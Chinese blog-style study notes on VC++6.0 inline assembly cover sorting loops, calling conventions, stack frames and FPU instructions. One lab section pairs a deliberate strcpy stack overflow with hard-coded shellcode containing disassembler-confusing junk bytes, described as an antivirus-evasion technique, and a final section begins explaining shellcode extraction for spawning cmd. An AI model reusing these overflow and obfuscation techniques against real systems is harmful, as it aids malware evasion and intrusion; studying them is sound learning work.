C语言内嵌汇编

内嵌汇编,主要是循环、判断、输出的训练。
环境:VC++6.0
(内心OS:我快升天了,终于摸到门路,离上道还有那么十万八千里…吧)

C语言内嵌汇编实现简单插入排序

插入排序原理

假设一串数字已经分为有序和无序两个部分。
无序表的第一个数逐一与有序表的各位数字进行比较,直到遇到比他小的停止。
插入排序原理

C语言代码

写这么长,是因为我汇编有些寄存器变化还需要再加深认识。所以多设置了几个变量。可以优化的(有空就优化,咕咕咕)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#include<stdio.h>   
int main()
{
int num[5]={5,4,2,9,1};
int i=0;
int n=0;
int j=0;
int k=0;
int temp=0;

char *str1="第%d趟:\n";
char *str2="%d";
char *str3="j=%d\t";

/*
printf("输入数字个数:\n");
scanf("%d",&n);
printf("输入%d个数:\n",n);
for(i=0;i<n;i++)
scanf("%d",&num[i]);
*/

for(i=1;i<5;i++)
{
printf(str1,i);
temp=num[i];
j=i-1;
while(j >= 0 && temp < num[j])
{
k=j+1;
num[k]=num[j];
j--;

printf(str3,j);
for(k=0;k<5;k++)
printf(str2,num[k]);
printf("\n");
}
j+=1;
num[j]=temp;
}
for(k=0;k<5;k++)
printf(str2,num[k]);
}

汇编实现

step_1:一层循环

只进行前后两个数字的比较,不涉及与前面更多数比较

C语言代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#include<stdio.h>
int main(){
int i=0;
int j=0;
int temp=0;
int num[100];

char *str1="i=%d\t,j=%d\n";

for(i=0;i<5;i++)
scanf("%d",&num[i]);
printf("++++++++++");
for(i=1;i<5;i++)
{
j=i-1;
if(num[i]<num[j])
{
temp=num[i];
num[i]=num[j];
num[j]=temp;
}
printf(str1,i,num[j]);
}
}

汇编实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
//先构造一次循环,即每次都只是前后两个数比较
#include<stdio.h>
int main(){
int i=0;
int j=0;
int temp=0;
int num[100]={5,4,9,2,1};

char *str1="i=%d\t,j=%d\n";

//for(i=0;i<5;i++)
// scanf("%d",&num[i]);
printf("++++++++++\n");

__asm{
mov i,0
start_w:
mov eax,i
add eax,1
mov i,eax //i++
cmp i,5 //i<5
jge end_w
mov ecx,i
sub ecx,1
mov j,ecx //j=i-1
mov edx,i
mov eax,j
mov ecx,num[edx*4] //所有都要*4,一个int占4个字节(花去两个小时来明白这个道理)
cmp ecx,num[eax*4] //num[i]和num[j]比较,这里只能先把值放到寄存器里再和寄存器比较,若是直接num[i]和num[j]会报错
jge print //num[i]>num[j]则直接输出小的值,否则交换
//前后交换
mov edx,i
mov eax,num[edx*4]
mov temp,eax
mov ecx,i
mov edx,j
mov eax,num[edx*4]
mov num[ecx*4],eax
mov ecx,j
mov edx,temp
mov num[ecx*4],edx
//jmp print
//交换结束,输出
print:
mov eax,j
mov ecx,num[eax*4]
push ecx
mov edx,i
push edx
mov eax,str1
push eax
call printf
add esp,12

jmp start_w
end_w:
nop
};
}

二重循环(完整版)汇编实现

已原地升天

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
#include<stdio.h>   
int main()
{
int num[5]={5,4,2,9,1};
int i=0;
int n=0;
int j=0;
int k=0;
int temp=0;

char *str1="第%d趟:\n";
char *str2="%d";
char *str3="j=%d\t";
char *str4="\n";

__asm{
mov i,0
start_w:
mov eax,i
add eax,1
mov i,eax
cmp i,5
jge end_w
//printf(str1,i);
mov ecx,i
push ecx
mov edx,str1
push edx
call printf
add esp,8
mov eax,i
mov ecx,num[eax*4]
mov temp,ecx
mov edx,i
sub edx,1
mov j,edx
//内循环
start_n:
cmp j,0
jl end_n
mov eax,j
mov ecx,temp
cmp ecx,num[eax*4]
jge end_n
mov edx,j
add edx,1
mov k,edx
mov eax,k
mov ecx,j
mov edx,num[ecx*4]
mov num[eax*4],edx
mov eax,j
sub eax,1
mov j,eax
mov ecx,j
push ecx
mov edx,str3
push edx
call printf
add esp,8
mov k,-1
//输出每次调换的结果
each_start:
mov eax,k
add eax,1
mov k,eax
cmp k,5
jge each_end
mov ecx,k
mov edx,num[ecx*4]
push edx
mov eax,str2
push eax
call printf
add esp,8
jmp each_start
each_end:
nop
mov eax,str4
push eax
call printf
add esp,4
jmp start_n
end_n:
mov ecx,j
add ecx,1
mov j,ecx
mov edx,j
mov eax,temp
mov num[edx*4],eax
jmp start_w

end_w:
mov n,-1
print_start:
mov ecx,n
add ecx,1
mov n,ecx
cmp n,5
jge print_end
mov edx,n
mov eax,num[edx*4]
push eax
mov ecx,str2
push ecx
call printf
add esp,8
jmp print_start
print_end:
nop
};
}

小结

1.例如num[eax 4]这样,所有都要有4,因为一个int占4个字节
2.num[i]和num[j]比较,这里只能先把值放到寄存器里再和寄存器比较,若是直接num[i]和num[j]会报错
3.理清逻辑,一开始调试好长时间,主要是跳转地址不熟悉,然后混乱了。不过写完之后觉得还好还好。

C语言内嵌汇编实现模拟函数调用

特征指令

程序通过调用程序来调用函数,在程序执行后又返回调用程序继续执行。函数的返回地址随参数压栈,一起传给调用函数。有多种方法可以实现,最常见的是call/ret指令。

实例分析

交换函数。

C语言代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include<stdio.h>
void swap(int *m,int *n);
void main(){
int a=2;
int b=3;
char *str1="a=%d,b=%d\n";
printf(str1,a,b);

swap(&a,&b);
printf(str1,a,b);

}
void swap(int *m,int *n){
int temp;

temp=*m;
*m=*n;
*n=temp;
}

效果:

汇编实现

函数直接调用方式使程序变得简单。但也有例外,程序间接调用函数,即通过寄存器传递函数地址或者动态计算函数地址调用:

1
call [4*eax+10h]

汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include<stdio.h>
//void swap(int *m,int *n);
void main(){
int a=2;
int b=3;
char *str1="a=%d,b=%d\n";
printf(str1,a,b);

__asm{
lea eax,dword ptr [ebp-8h]
push eax
lea ecx,dword ptr [ebp-4h]
push ecx
call swap
add esp,8
mov edx,dword ptr [ebp-8h]
push edx
mov eax,dword ptr [ebp-4h]
push eax
push str1
call printf
add esp,0ch
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
retn
swap:
push ebp
mov ebp,esp
sub esp,44h
push ebx
push esi
push edi
lea edi,dword ptr [ebp-44h]
mov ecx,11h
mov eax,0xCCCCCCCC
rep stos dword ptr es:[edi]
mov eax,dword ptr [ebp+8h]
mov ecx,dword ptr [eax]
mov dword ptr [ebp-4h],ecx
mov edx,dword ptr [ebp+8h]
mov eax,dword ptr [ebp+0ch]
mov ecx,dword ptr [eax]
mov dword ptr [edx],ecx
mov edx,dword ptr [ebp+0ch]
mov eax,dword ptr [ebp-4h]
mov dword ptr [edx],eax
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
retn
}
}

原理

参数压栈,然后返回地址压栈,寄存器压栈,分配内存空间,空间清C。之后变量赋值,程序开始。最后清理堆栈,堆栈平衡。
!汇编中的函数调用中栈的工作过程

函数参数

函数传参有三种方式:
⊙ 栈方式(明确参数入栈顺序,并约定堆栈平衡方式)
⊙ 寄存器方式(存在哪个寄存器中)
⊙ 通过全局变量进行隐含参数传递的方式

利用栈传递参数

堆栈先进后出,栈顶指针esp指向第一个可用数据。调用函数时参数依次入栈,然后调用函数。调用后,从堆栈中取数据并进行计算,然后由调用者本身恢复堆栈,使堆栈平衡。

调用约定

约定类型 __cdecl pascal stdcall Fastcall
参数传递顺序 从右到左 从左到右 从右到左 使用寄存器和栈
平衡堆栈 调用者 子程序 子程序 子程序
允许使用VARARG

⊙ C规范(即cdecl)是C和C++默认调用约定。
⊙ stdcall是Win32API采用的约定方式。其中wsprintf采用
cdecl。

__cdecl pascal stdcall
push par3 push par1 push par3
push par2 push par2 push par2
push par1 push par3 push par1
call test call test call test
add esp,0c

一般通过ebp来存取栈,以上面的swap函数为例。
(1)当前esp为K。
(2)根据stdcall,b先入栈,此时esp移动一个存储单元到K-04h。
(3)a入栈,esp继续移动一个存储单元至K-08h。
(4)call指令。执行call指令会把call下一个地址压栈,即返回地址。此时esp为K-0Ch。
(5)为保证恢复时的ebp,所以把ebp先push再pop。此时esp是K-10h。
(6)mov ebp,esp。ebp作为基址指针,[ebp+8]是参数一,[ebp+C]是参数二。
(7)sub esp,xxx为定义局部变量。局部变量一[ebp-4],局部变量二[ebp-8]。调用结束时通过add esp,xxx释放局部变量占用的栈。即子函数调用完局部变量就不在有作用。
(8)ret 8表示先retadd esp,8

此外,enterleave指令可以帮助对栈的维护。

1
2
3
4
5
enter语句相当于:

push ebp
mov ebp,esp
add esp,xxx

1
2
3
leave语句相当于:
add esp,xxx
pop ebp

有时,编译器为节省ebp寄存器或者减少代码提高速度,会直接以esp为基址指针。如:

1
2
3
4
5
6
7
8
9
10
push b
push a
call swap
add esp,8
swap:
mov eax,dword ptr [esp+04h]
mov ecx,dword ptr [esp+08h]
...

retn

利用寄存器传参

一般没有标准。但大多数编译器都在不对兼容性进行声明的情况下遵循相应规范,即Fastcall规范。
不同编译器稍有不同。VC++6.0规定左边两个不大于4字节的参数分别在ecx和edx中,寄存器用完后,其余参数从右至左入栈。浮点值、远指针、__int64类型总是通过栈传参。
Borland Delphi/C++编译器左边三个不大于四字节的参数分别存在eax,edx,ecx中。寄存器用完后,其余参数按照pascal约定从左至右入栈。
另一个编译器Watcom C通过寄存器传参。依次使用eax,edx,ebx

实际上可以指定任意寄存器。在不指定的情况下通过Fastcall约定完成。

利用寄存器而不是堆栈传参:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#include<stdio.h>
void main(){
int a=2;
int b=3;
char *str1="a=%d,b=%d\n";
printf(str1,a,b);

__asm{
lea edx,dword ptr [ebp-8h]
lea ecx,dword ptr [ebp-4h]
call swap
push eax
push ecx
push str1
call printf
add esp,0ch
pop edi
pop esi
pop ebx
add esp,4ch
mov ebp,esp
pop ebp
retn
swap:
push ebp
mov ebp,esp
sub esp,4ch
push ebx
push esi
push edi
push ecx
lea edi,dword ptr [ebp-4ch]
mov ecx,13h
mov eax,0xCCCCCCCC
rep stos dword ptr es:[edi]
pop ecx
mov dword ptr [ebp-08h],edx
mov dword ptr [ebp-04h],ecx
mov eax,dword ptr [ebp-04h]
mov ecx,dword ptr [eax]
mov dword ptr [ebp-0ch],ecx
mov edx,dword ptr [ebp-04h]
mov eax,dword ptr [ebp-08h]
mov ecx,dword ptr [eax]
mov dword ptr [edx],ecx
mov edx,dword ptr [ebp-08h]
mov eax,dword ptr [ebp-0ch]
mov dword ptr [edx],eax
pop edi
pop esi
pop ebx
mov esp,ebp
pop ebp
retn
}
}

另外,thiscall约定也采用寄存器传参。thiscall是C++中的非静态类成员函数的默认调用约定,对象每个函数隐含接收this参数。thiscall从右到左顺序压栈,子函数返回前清理堆栈。
仅通过ecx传递额外指针this指针。

名称修饰约定

为允许使用操作符和函数重载,C++编译器往往会按照某种规则该写每一个入口点的符号名,从而允许同一个名字(具有不同的参数类型或者不同的作用域)有多个用法且不会破坏现有的基于C的链接器。
在VC++中,函数修饰名由编译类型(C/C++),函数名、类名、调用约定、返回类型、参数等共同决定。简单来说:
C:
stdcall 函数名前加下划线,后接@ +参数字节数“_functionname@number”。
__cdecl 函数名前加下划线。“_functionname”
Fastcall 函数名前加@,后接@ +参数字节数“@functionname@number”

均不改变函数名中的字符大小写。但是pascal约定输出的函数名不能有修饰且只能是大写。

C++:
待完善。

函数返回值
return操作符

一般情况下,返回值放在eax寄存器中,如果结果大小超出eax的容量,高32位就会放在edx中。

传引用方式传参的返回值

函数传参有两种方式,传值和传引用。

传值调用时,会建立一份参数的副本,把它传给子函数,子函数中修改参数值不会影响到参数原本的值。

传引用调用允许调用函数修改原始变量的值。调用函数时,把变量地址传给函数就可以修改内存单元中变量的值。

具体步骤:OllyICE调试

传参通过内存完成,取地址压入栈,由lea指令和push指令完成。


然后进入swap函数
把下一个地址压入栈push ebp

为局部变量分配内存空间sub esp,44
寄存器入栈、空间清C(初始化变量,将原来内存中的脏数据全部置为CCCCCCCC):
int i的话内存就为CCCCCCCC,int i=1的话内存就是00000001。

执行函数体。可见是通过从内存中取值放到寄存器里再交换的

pop出寄存器,清理堆栈,堆栈平衡,恢复到main函数的现场

总结

1.call printf按顺序输出,先入栈的后输出。
2.寻址花了很长时间。(刚刚看汇编5天,数据结构也还没学过,C语言也还停留在大一上水平)所以改变寻址调试好久,这里需要注意。
3.调试过程划重点。

4.一个月后,回来修改补充了本文。我已经忘了为什么寻址会花很长时间,明明这个没有什么难跳转的地址。

C语言内嵌汇编实现字母计数

内嵌汇编,主要是循环、判断、输出的训练。
环境:VC++6.0
完成这个的时候是从零开始开始看汇编第三天,还属于没摸到门道阶段,是在我学长的大力帮助下完成的。在这里感谢我学长的救命之恩!

C语言代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include<stdio.h>
void main(){
char match[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
//char str[10]="EeEqXxTg";
char str[100];
int num[26]={0};
int i=0;
int j=0;

scanf("%s",str);
printf("%s\n",str);

for(i=0;i<100;i++)
for(j=0;j<26;j++)
if(str[i]==match[j])
num[j]++;

for(j=0;j<26;j++)
printf("%c-----%d\n",match[j],num[j]);
}

最开始我的代码可以把大小写识别为相同字母。可是那个调用了几个标准库函数,写汇编的时候我就一脸懵逼.jpg,遂改的简单了些。
修改后只能计小写字母,大写字母不能识别,这点有空优化哈(咕咕咕)

汇编实现

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include<stdio.h>
void main(){
char match[]={'a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z'};
char string[100];
int num[26]={0};
int i=0;
int j=0;

char *strs="***%c=%d***\n";

scanf("%s",string);
//printf("%s\n",string);

//外循环
__asm{
mov i,-1
start_w:
//nop
mov eax,i
add eax,1
mov i,eax
cmp i,100
jge end_w

//判断是否统计完总字符数
movsx eax,string[eax]
cmp eax,0
je end_w

//输出
mov edx,i
movsx eax,string[edx]
push eax
mov ecx,i
push ecx
push edx
add esp,12

//内循环
mov j,-1
start_n:
mov eax,j
add eax,1
mov j,eax
cmp j,26
jge end_n

//
mov edx,j
movsx eax,match[edx]
push eax
mov ecx,j
push ecx
mov ecx,i
push ecx
push edx
add esp,16

//统计,if(str[i]==match[j])
mov edx,i
movsx eax,string[edx]
mov ecx,j
movsx edx,match[ecx]
cmp eax,edx
jne end_c
mov eax,j
mov ecx,num[eax*4]
add ecx,1
mov edx,j
mov num[edx*4],ecx

jmp start_w
end_c:
jmp start_n
end_n:
jmp start_w
end_w:
nop

mov j,-1
start_all:
mov eax,j
add eax,1
mov j,eax
cmp j,26
jge end_all

mov edx,j
mov ecx,num[edx*4]
push ecx
movsx eax,match[edx]
push eax
mov edx,strs
push edx
call printf
add esp,12

jmp start_all
end_all:
nop
};
}

效果:

废话

晚上很晚的时候还在问学长各种问题。然后躺在床上辗转反侧到两点多,写不出来真的好难过。
第二天就有了些思绪,比前几日要好许多。所以在有困难的时候不要轻易放弃。

花指令与内存蛙跳

在上一篇的基础上做了些小改动…又水了一篇。

查杀逃逸通常技术:花指令、壳、内存多态。

两种花指令:垃圾数据、看似不会正常执行的代码。

反汇编过程中存在几个关键问题,其中一个是数据和代码的区分问题。反汇编算法必须对汇编指令的长度、多种多样的简介跳转实现形式进行适当的处理,从而保证反汇编结果的正确性。

目前,主要的两类反汇编算法是线性扫描算法(Linear Sweep)和递归行进算法(Recursive Traversal)。

线性算法技术含量不高,反汇编工具将整个模块中的每一条指令都反汇编成汇编指令,将遇到的机器码都作为代码处理,没有对反汇编的内容进行判断。因此,线性扫描算法无法正确地将代码和数据分开,数据也被当作代码执行,从而导致反汇编地错误。

递归行进算法按照代码可能地执行顺序来反汇编程序,对每条可能的路径进行扫描。当解码出分支指令后,反汇编工具就将这个地址记录下来,并分别反汇编各个分支中地指令。这种算法比较灵活,可以避免将代码中地数据作为指令来解码。

巧妙构造代码和数据,在指令流中插入很多“垃圾数据”,干扰反汇编软件地判断,使他错误的确定指令地起始位置,这类代码称为花指令。用花指令进行静态加密是很有效的。

我们称db、dw、equ等为伪指令是因为它们是供汇编器使用的,汇编器如果看到mov等指令,直接将其翻译成mov对应的机器代码,这个机器代码是供计算机识别mov的;但是当汇编器看到db指令后,它不是将其翻译成机器代码,因为计算机不识别db指令对应的机器码,db没有对应的机器码,db指令是告诉汇编器我需要在当前内存位置写入一个字节。

这就是占用内存的其中几个指令。

在这次实验中,通过_emit占用内存,干扰利用线性算法的反汇编软件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
#include "stdafx.h"
#include "string.h"
#include "windows.h"
//加了没用的指令,跳了三步
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xfb\xbf\xd7\x75\x90\x90\x90\x90\x6a\x05\x6a\x04\x6a\x03\x33\xdb\x74\x03\xe8\xe9\xe9\x68\x05\x10\x40\x2e\x89\x5c\x24\x03\x8b\x04\x24\xff\xd0\x83\xc4\x10";

void fun1(int a, int b)
{
printf("fun1 run!para a=%d,b=%d\n",a,b);
char aa[4]={0};
strcpy(aa,shellcode);
}

void fun3(int a,int b,int c)
{
printf("fun3 run! para a=%d,b=%d,c=%d\n",a,b,c);
}

/*void fun2(int a)
{
printf("fun2 run! para a=%d\n",a);
}*/
int main(int argc, char* argv[])
{
HINSTANCE libHandle;
char *dll="user32.dll";
libHandle=LoadLibrary(dll);
//LoadLibrary(dll);
printf("begin\n");
fun1(1,2);

/*_asm{
start:
push 5
push 4
push 3
xor ebx,ebx
jz test1
_emit 0xE8
_emit 0xE9
_emit 0xE9
test1:
push 0x2e401005
mov [esp+3],ebx
mov eax,dword ptr [esp]
call eax
add esp,16
}*/
printf("end\n");
return 0;
}
1
2
3
char *shellcode="\x64\x65\x66\x67\x68\x69\x70\x71\xfb\xbf\xd7\x75\x90\x90\x90\x90\x6a\x05\x6a\x04\x6a\x03\x33\xdb\x74\x03\xe8\xe9\xe9\x68\x05\x10\x40\x2e\x89\x5c\x24\x03\x8b\x04\x24\xff\xd0\x83\xc4\x10";
|________________|
跳转到三个字节之后,e8e9e9为垃圾数据,成功干扰VC等

可以正常执行。

汇编浮点指令

浮点和整型在汇编运算上差异很大,指令、寄存器、出入栈也有区别。

操作浮点数的寄存器

不同于整型数值的寄存器,浮点单元也称作x87 FPU。FPU有 8 个独立寻址的80位寄存器,名称分别为r0, r1, …, r7,他们以堆栈形式组织在一起,统称为寄存器栈,编写浮点指令时栈顶也写为st(0),最后一个寄存器写作st(7)。
FPU另有3个16位的寄存器,分别为控制寄存器、状态寄存器、标记寄存器(待更新)。

状态寄存器 FST 读取状态寄存器内容fstsw

浮点数表示

浮点数遵照IEEE规定的转换方法

常见指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include<stdio.h>
main(){
float a=0;
float b=0;
float c=0;
char *str1="%lf";

/*a=2.50514;
b=1.70369;
//c=a+b;
printf(str1,a+b);*/
__asm{
mov a,40205436h
mov b,3FDA1283h
mov c,3F8E147Ah
fld a
fadd b
sub esp,8
fstp qword ptr [esp]
mov eax,str1
push eax
call printf
add esp,12
};

}
指令 含义
fld 加载指令,加载内存中的数据到fpu寄存器。一般存储在st(0)位置。
fldz 在st(0)中加载0(zero)
fld1 把 +1.0 压入 FPU 堆栈中
fldl2t 把 10 的对数(底数2)压入 FPU 堆栈中
fldl2e 把 e 的对数(底数2)压入 FPU 堆栈中
fldpi 把 pi 的值压入 FPU 堆栈中
fldlg2 把 2 的对数(底数10)压入 FPU 堆栈中
fldln2 把 2 的对数(底数e) 压入堆栈中

指令 含义
fst m32real 将 ST(0) 复制到 m32real
fst m64real 将 ST(0) 复制到 m64real
fst ST(i) 将 ST(0) 复制到 ST(i)
fstp 先执行同fst相同操作,再弹出寄存器堆栈。一般操作是先sub esp,xx,再将结果弹出到栈顶。

指令 含义
fadd 浮点加法
fsub 浮点减法
fdiv 浮点除法
fmul 浮点乘法

除法使用时需要注意:

华氏/摄氏温度转换

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
main(){
int fahr,celsius;
int lower,upper,step;

lower =0;
upper=300;
step=20;

fahr=lower;
while(fahr<=upper){
celsius = 5*(fahr-32)/9;
printf("%d\t%d\n",fahr,celsius);
fahr= fahr+step;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
00401043  |> /8B4D FC       /mov     ecx, dword ptr [ebp-4]
00401046 |. |3B4D F0 |cmp ecx, dword ptr [ebp-10]
00401049 |. |7F 34 |jg short 0040107F
0040104B |. |8B45 FC |mov eax, dword ptr [ebp-4]
0040104E |. |83E8 20 |sub eax, 20
00401051 |. |6BC0 05 |imul eax, eax, 5
00401054 |. |99 |cdq
00401055 |. |B9 09000000 |mov ecx, 9
0040105A |. |F7F9 |idiv ecx
0040105C |. |8945 F8 |mov dword ptr [ebp-8], eax
0040105F |. |8B55 F8 |mov edx, dword ptr [ebp-8]
00401062 |. |52 |push edx ; /<%d>
00401063 |. |8B45 FC |mov eax, dword ptr [ebp-4] ; |
00401066 |. |50 |push eax ; |<%d>
00401067 |. |68 1C604200 |push 0042601C ; |format = "%d",TAB,"%d",LF,""
0040106C |. |E8 4F000000 |call printf ; \printf
00401071 |. |83C4 0C |add esp, 0C
00401074 |. |8B4D FC |mov ecx, dword ptr [ebp-4]
00401077 |. |034D EC |add ecx, dword ptr [ebp-14]
0040107A |. |894D FC |mov dword ptr [ebp-4], ecx
0040107D |.^\EB C4 \jmp short 00401043

有符号整数除法指令 IDIV,此指令进行有符号的除法运算,使用的操作数格式与DIV指令格式相同。 在进行8位除法之前,被除数(AX)必须进行符号扩展,余数的符号和被除数总是相同。
那么符号扩展顾名思义其实就是将它的符号位进行扩展,常用指令为CDQ,CWD,CBW

指令 含义
cbw 将(字节扩展至字)。这个指令将扩展al的符号位至ah中。
cwd 指令是将字符号扩展至双字,将扩展ax的符号位至dx中。
cdq 指令将双字符号扩展至8字节,扩展eax的符号位至edx寄存器中。它实际的作用只是把EDX的所有位都设成EAX最高位的值。也就是说,当EAX <80000000, edx 为00000000;当eax>= 80000000, EDX 则为FFFFFFFF。

例如 :
假设 EAX 是 FFFFFFFB (-5) ,它的第 31 bit (最左边) 是 1,
执行 CDQ 后, CDQ 把第 31 bit 复制至 EDX 所有 bit
EDX 变成 FFFFFFFF
这时候, EDX:EAX 变成 FFFFFFFF FFFFFFFB ,它是一个 64 bit 的大型数字,数值依旧是 -5。
EDX:EAX,这里表示EDX,EAX连用表示64位数

这些指令常用于扩展被除数,很久前,指令集规定除数必须是被除数的一半长,这个规定一直被沿用。使用IDIV执行除法时,如果除数是32位,这就要求被除数是64位,即EDX:EAX,所以扩展一下EAX以满足除法指令的条件并且得到正确的结果。

华氏/摄氏温度转换改进版

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include<stdio.h>
main(){
float fahr,celsius;
int lower,upper,step;

lower =0;
upper=300;
step=20;

fahr=lower;
while(fahr<=upper){
celsius = 5.0/9.0 * (fahr-32.0);
printf("%3.0f\t%6.2f\n",fahr,celsius);
fahr= fahr+step;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
00401010 >|> \55            push    ebp
00401011 |. 8BEC mov ebp, esp
00401013 |. 83EC 54 sub esp, 54
00401016 |. 53 push ebx
00401017 |. 56 push esi
00401018 |. 57 push edi
00401019 |. 8D7D AC lea edi, dword ptr [ebp-54]
0040101C |. B9 15000000 mov ecx, 15
00401021 |. B8 CCCCCCCC mov eax, CCCCCCCC
00401026 |. F3:AB rep stos dword ptr es:[edi]
00401028 |. C745 F4 00000>mov dword ptr [ebp-C], 0
0040102F |. C745 F0 2C010>mov dword ptr [ebp-10], 12C
00401036 |. C745 EC 14000>mov dword ptr [ebp-14], 14
0040103D |. DB45 F4 fild dword ptr [ebp-C]
00401040 |. D95D FC fstp dword ptr [ebp-4]
00401043 |> DB45 F0 /fild dword ptr [ebp-10]
00401046 |. D85D FC |fcomp dword ptr [ebp-4]
00401049 |. DFE0 |fstsw ax
0040104B |. F6C4 01 |test ah, 1
0040104E |. 75 39 |jnz short 00401089
00401050 |. D945 FC |fld dword ptr [ebp-4]
00401053 |. DC25 38604200 |fsub qword ptr [_real]
00401059 |. DC0D 28604200 |fmul qword ptr [_real]
0040105F |. D955 F8 |fst dword ptr [ebp-8]
00401062 |. 83EC 08 |sub esp, 8 ; /<%6.1f>
00401065 |. DD1C24 |fstp qword ptr [esp] ; |
00401068 |. D945 FC |fld dword ptr [ebp-4] ; |
0040106B |. 83EC 08 |sub esp, 8 ; |<%3.0f>
0040106E |. DD1C24 |fstp qword ptr [esp] ; |
00401071 |. 68 28704200 |push 00427028 ; |format = "%3.0f",TAB,"%6.1f",LF,""
00401076 |. E8 45000000 |call printf ; \printf
0040107B |. 83C4 14 |add esp, 14
0040107E |. DB45 EC |fild dword ptr [ebp-14]
00401081 |. D845 FC |fadd dword ptr [ebp-4]
00401084 |. D95D FC |fstp dword ptr [ebp-4]
00401087 |.^ EB BA \jmp short 00401043
00401089 |> 5F pop edi
0040108A |. 5E pop esi
0040108B |. 5B pop ebx
0040108C |. 83C4 54 add esp, 54
0040108F |. 3BEC cmp ebp, esp
00401091 |. E8 5A010000 call _chkesp
00401096 |. 8BE5 mov esp, ebp
00401098 |. 5D pop ebp
00401099 \. C3 retn

浮点数不能使用 CMP 指令进行比较,因为后者是通过整数减法来执行比较的。取而代之,必须使用 FCOM 指令。

指令 含义
fcom 比较st0和st1寄存器的值
fcom %st(x) 比较st0和stx寄存器的值
fcom source 比较st0和32/64位内存值
fcomp 比较st0和st1寄存器的值,并弹出堆栈
fcomp %st(x) 比较st0和stx寄存器的值,并弹出堆栈
fcomp source 比较st0和32/64位内存值,并弹出堆栈
fcompp 比较st0和st1寄存器的值,并两次弹出堆栈
ftst 比较st0和0.0

本例中,先加载最大华氏温度300,然后与[ebp-4]的值进行比较并把300弹出堆栈(fcomp),把浮点数比较的结果放入状态寄存器,使用fstsw指令获得fpu状态寄存器的值并存入ax,再使用test指令对两个参数(ah,1)执行AND逻辑操作,并根据结果设置标志寄存器,完成浮点数比较。

1
2
3
4
5
fild    dword ptr [ebp-10]
fcomp dword ptr [ebp-4]
fstsw ax
test ah, 1
jnz short 00401089

输出时,同样,先把栈顶指针esp向上移动,然后fstp将fpu中的操作数弹出来。

1
2
sub     esp, 8
fstp qword ptr [esp]

或者先加载需要的浮点数,再移动栈顶指针esp,再弹出堆栈。

1
2
3
fld     dword ptr [ebp-4]     
sub esp, 8
fstp qword ptr [esp]

内嵌汇编-shellcode提取

shellcode本质是一段二进制机器码。这里只是用三个小例子(我也只会小例子)写一段提取范例
三个程序:
1.messagebox弹框
2.计算器
3.cmd

需要注意

1.加载动态库

为了使system函数调用成功,我们需要将“cmd”字符串内容压入栈空间,并将其地址压入作为system函数的参数,然后使用call指令调用system函数的地址,完成函数的执行。但是这样做还不够,如果被溢出的程序没有加载C语言库的话,我们还需要调用Windows的API Loadlibrary加载C语言的库msvcrt.dll。


事实上一般的PE文件都会加载kernel32.dll,user32.dll,ntdll.dll等动态链接库,所以我们不必要调用LoadLibrary(“kernel32.dll”),不过当我们的ShellCode需要使用到其他动态链接库的时候,如ws2_32.dll等,LoadLibrary()函数是必须的。

2.压栈字符串长度补齐

3.Windows API地址获取
三种方法。可以在调试中找到地址,也可以通过函数获取,也可以手动计算。
调试找到内存地址(这种方法适用性一般,在调用user32.messagebox这种函数时可用,在call system时就只能获得中转内存)

1
2
3
4
5
6
7
8
9
10
11
12
13
int findFunc(char*dll_name,char*func_name)
{
HINSTANCE handle=LoadLibraryA(dll_name);//获取dll加载地址
return (int)GetProcAddress(handle,func_name);
}
int main(){
int a;
char *dll="msvcrt.dll";
char *func="system";
a=findFunc(dll,func);
printf("%d",a);

}

比如通过上述实例可以获得system函数在虚拟内存中的地址。

手动计算:函数在虚拟内存中的地址=偏移地址+映像基址

messagebox弹框

Windows API

